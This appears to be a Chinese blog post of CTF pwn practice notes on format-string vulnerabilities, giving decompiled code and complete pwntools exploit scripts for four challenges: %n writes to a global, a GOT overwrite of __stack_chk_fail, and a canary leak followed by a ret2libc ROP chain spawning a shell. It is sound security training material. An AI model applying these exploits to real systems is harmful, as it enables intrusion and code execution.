首页 > 其他分享 >pwn刷题笔记(格式化字符串)

pwn刷题笔记(格式化字符串)

时间:2023-04-30 23:33:40浏览次数:40  
标签:addr 格式化 p64 puts Canary io pwn payload 刷题

攻防世界:CGfsb

checksec查看保护机制,开启了NX和Canary,32位ELF。

反汇编代码如下:

int main(){
    char buf[0x7E - 0x76];  ebp-7E
    short int anonymous_0;  ebp-76
    char s[0x74 - 0x10];    ebp-74
    int anonymous_1;        ebp-10
    anonymous_1 = gs:14h    //gs:14是内存地址,存储Canary保护的随机值
    buf[0] = 0;
    anonymous_0 = 0;
    puts("please tell me your name:");
    read(0, buf, 0x0A);
    puts("leave your message please:");
    fgets(s, 0x64, stdin);
    printf("hello %s", buf);
    puts("your message is:");
    printf(s);
    if (ds:pwnme == 8){
        puts("you pwned me, here is your flag:\n");
        system("cat flag");
    }
    else{
        puts("Thank you!");
    }
    return 0;
}

存在字符串格式化漏洞。

输入的字符串(“aaaa”)是第十个格式化参数。

  

根据反汇编代码,当内存地址ds:pwnme中的值为8时,程序输出flag。

格式化字符串"%10$n"将已经输出的字符数写入到第十个参数地址。如果第十个参数是ds:pwnme,就可以修改内存地址ds:pwnme的值。

ds:pwnme的地址可在ida中查看,为0x804A068。

利用脚本如下:

#!/usr/bin/env python3

from pwn import *

io = process("cgfsb")

io.sendlineafter("please tell me your name:", b"hacker")
payload = p32(0x804A068) + b"aaaa" + b"%10$n"         #p32(0x804A068)共4个字节,所以需要再添加4个字节才正好向内存地址写入8
io.recvuntil("leave your message please:")
io.sendline(payload)
print(io.recvall())

 

[BJDCTF 2nd]r2t4

checksec检查,64位ELF,开启了NX和Canary。

反汇编代码:

int main(){
    char buf[0x30 - 0x08];
    char var_8[8];
    var_8 = fs:28h;     //Canary保护的随机数
    read(0, buf, 0x38);
    printf(buf);
    if(var_8 ^ fs:28h != 0)
        stack_chk_fail();
    return 0;
}

后门函数system("cat flag");入口地址0x400626

  

解析:

1、buf缓冲区可以溢出8个字节。

2、如果buf缓冲区发生溢出,Canary保护的值会被破坏,程序调用stack_chk_fail()函数。

3、printf(buf)函数存在格式化字符串漏洞,利用漏洞把stack_chk_fail()函数的got表地址改成后门函数地址。再故意破坏Canary,就能执行后门函数。

read()函数读取的字符串“aaaaaaaa”是第六个格式化参数

  

编写脚本

#!/usr/bin/env python3

from pwn import *

io = process("./r2t4")
elf = ELF("./r2t4")

scf_got = elf.got["__stack_chk_fail"]

payload = b"%64c%9$hn%1510c%10$hnaaa" + p64(scf_got+2) + p64(scf_got)
io.sendline(payload)
print(io.recvall())

payload解释:

后门函数的地址为0x400626
%64c :输出64个字符,64=0x0040
%9$hn : 9$对应p64(scf_got + 2) ,将前面输出的字符数(0x40)写入9$这个地址,写入高两字节。
%1510c :输出1510个字符,64+1510=0x0626
%10$hn:10$对应p64(scf_got),将前面输出的字符数(0x0626)写入10$这个地址,写入低两字节。
aaa :使栈8字节对齐,以及用来拼凑字数,使缓冲区溢出。

 

jarvisoj_fm

checksec检查,开启了NX、Canary,32位ELF。

反汇编代码:

int x=3;
int main(){
    char buf[0x5C];
    read(0, buf, 0x50);
    printf(buf);
    printf("%d", x);
    if(x == 4){
        puts("running sh...");
        system("/bin/sh");
    }
    if([esp+7Ch] != gs:14h){        //检查Canary
        stack_chk_fail();
    }    
    return 0;
}

全局变量x存储在内存地址0x0804A02C

  

printf(buf)函数存在格式化字符串漏洞,利用漏洞修改x的值为4

输入字符串"aaaa"是第11个格式化参数

  

 写出脚本

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 28925)

payload = p32(0x804A02C) + b"%11$n"       //p32(0x804A02C)四个字节,向地址0x804A02C写入4
io.sendline(payload)
io.interactive()

 

bjdctf_2020_babyrop2

checksec查看保护,开启了NX、Canary,64位ELF。

反汇编代码:

int main(){
    int *var_8;
    init();
    gift();
    vuln();
    检查Canary
    return 0;
}

init(){
    puts("Can u return to libc ?");
    puts("Try u best!");
    检查Canary
}

gift(){
    char format[0x10 - 0x8];
    int *var_8;
    puts("I'll give u some gift to help u!");
    scanf("%6s", format);
    printf(format);
    puts(3);
    检查Canary
    return
}

vuln(){
    char buf[0x20 - 0x8];
    int *var_8;
    puts("Pull up your sword and tell me u story!");
    read(0, buf, 0x64);
    检查Canary
    return
}

解析:

  gift函数存在格式化字符串漏洞,vuln函数存在缓冲区溢出漏洞。

  利用格式化字符串漏洞泄露Canary,带上Canary执行缓冲区溢出攻击。

找到Canary是第几个格式化参数

gdb执行到gift函数的scanf()部分,输入"aaaaaaaa"。继续执行到printf函数之前,查看此时栈的情况可知Canary(地址为0x7fffffffdf48)需要出栈两次得到。

  

由此可知Canary是格式化字符串的第7个(5个寄存器+2次出栈)格式化参数。

验证:

  

  

  

利用缓冲区溢出泄露puts函数真实地址

payload

payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

计算出system函数真实地址以及字符串“/bin/sh”真实地址

libc = LibcSearcher("puts", puts_addr)       //选择libc版本,笔者在ubuntu20.04上选择了0,后面的system函数成功执行
offset = puts_addr - libc.dump("puts")
system_addr = offset + libc.dump("system")
binsh_addr = offset + libc.dump("str_bin_sh")
print(f'{offset}  {system_addr}  {binsh_addr}')

  

利用缓冲区溢出执行system("/bin/sh")

payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("Pull up your sword and tell me u story!", payload)
io.interactive()

完整脚本

#!/usr/bin/env python3

from pwn import *
from LibcSearcher import *

io = remote("node4.buuoj.cn", 27550)
elf = ELF("./bjdctf_2020_babyrop2")

#泄露canary payload = "%7$p" io.recvuntil("I'll give u some gift to help u!") io.sendline(payload) io.recvline() rev = io.recvline()[2:-1].decode() canary = int(rev, 16) print(f"Canary: {canary}")
#泄露puts函数真实地址 pop_rdi = 0x400993 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] vuln_addr = elf.symbols["vuln"] payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.recvline() puts_addr = u64(io.recv().ljust(8, b'\x00')) print(puts_addr)
#计算system函数、“/bin/sh”字符串真实地址 libc = LibcSearcher("puts", puts_addr) offset = puts_addr - libc.dump("puts") system_addr = offset + libc.dump("system") binsh_addr = offset + libc.dump("str_bin_sh") print(f'{offset} {system_addr} {binsh_addr}')
#执行system("/bin/sh") payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.interactive()

 

标签:addr,格式化,p64,puts,Canary,io,pwn,payload,刷题
From: https://www.cnblogs.com/jimmy-hwang/p/17364894.html

相关文章

  • 刷题总结
    结束本轮的刷题任务感受颇多基本体现在双指针回溯以及动规上使用双指针法,定义两个指针(也可以说是索引下标),一个从字符串前面,一个从字符串后面,两个指针同时向中间移动,并交换元素。,时间复杂度是O(n)回溯算法能解决如下问题:组合问题:N个数里面按一定规则找出k个数的集合排列问......
  • pwndbg
    pwndbgpwndbg(/poʊndbæg/)是一个GDB插件,它可以降低使用GDB进行调试的难度,提供硬件黑客、逆向工程师和漏洞开发人员所需的功能。github地址:https://github.com/pwndbg/pwndbg安装:gitclonehttps://github.com/pwndbg/pwndbgcdpwndbg./setup.shpwndbg和peda冲突,可以在~......
  • DASCTF Apr.2023 X SU战队2023开局之战 pwn
    DASCTFApr.2023XSU战队2023开局之战pwnfour漏洞是2.23的sspleak和未初始化漏洞主要的难点就是分析程序而且题中有一些干扰选项保护程序分析主函数有4个选项1:是干扰的选项(因为会关闭标准错位流,那就没法打sspleak)2:这个函数中有一个未初始化漏洞3:就是在这个函数......
  • 2023-长城杯(铁人三项)决赛-pwn-wp
    这是昨天的长城杯线下决赛题目,找其它参加的师傅要了pwn方向的题目来做,一共有两道题,题目质量很不错,都是对逆向动态调试有一定要求才能做出的类型,我想这也是之后国内CTF比赛pwn方向赛题的转变趋势吧。就是很遗憾没能参加,,,,不然靠做pwn应该都能保底拿奖了fast_emulator这是一......
  • pwn刷题笔记(整数溢出)
    [BJDCTF2nd]r2t3写出反汇编代码如下:intds:__bss_start;intmain(){charbuf[0x408-4]intvar[4];my_init();puts("**********************************");puts("*WelcometotheBJDCTF!*");puts("[+]Ret......
  • pwn刷题笔记(ret2libc、ROP)
    ciscn_2019_c_1 (ret2libc+rop)checksec查看保护机制,开启了NX,不能往栈里写入shellcode。encrypt函数反汇编encrypt(){chars[50];puts(InputyourPlaintexttobeencrypted)gets(s);ifstrlen(strlen(s)<x){puts("ciphertext")......
  • java 格式化输出当前时间
    /***打印当前时间**@return*/publicstaticvoidprintCurrentTime(Stringparam){SimpleDateFormatsdf=newSimpleDateFormat("yyyy-MM-ddHH:mm:ss");//关键所在TimeZonegmt=TimeZone.getTimeZone("GMT+8");sdf.setTimeZone(gmt);......
  • 时间格式化,显示昨天、今天
    时间格式化的需求:今天的数据显示“时分”,HH:mm10:00昨天的数据显示“昨天时分”,昨天10:00今年的数据,显示“月日时分”,05-0110:00不是今年的数据,显示“年月日时分”,2022-05-0110:00代码展示在ios中用newDate("2022-05-0110:00").getTime()会有兼容性问题,......
  • fasttrack的SQLPwnage(失败)
    这次也是失败的,操作如下:root@bt:/pentest/exploits/fasttrack#./fast-track.py-iFast-TrackMainMenu:1.Fast-TrackUpdates2.AutopwnAutomation3.NmapScriptingEngine4.MicrosoftSQLTools5.MassClient-SideAttack6.Exploit......
  • Golang - time包获取当前日期/时间戳并格式化输出
    获取时间对象packagemainimport("fmt""time")//24小时制constLAYOUT="2006-01-0215:04:05"//只能用这个日期,据说这是golang的诞生时间funcmain(){//获取当前日期now:=time.Now()fmt.Printf(now.Format(LAYOUT))//2022......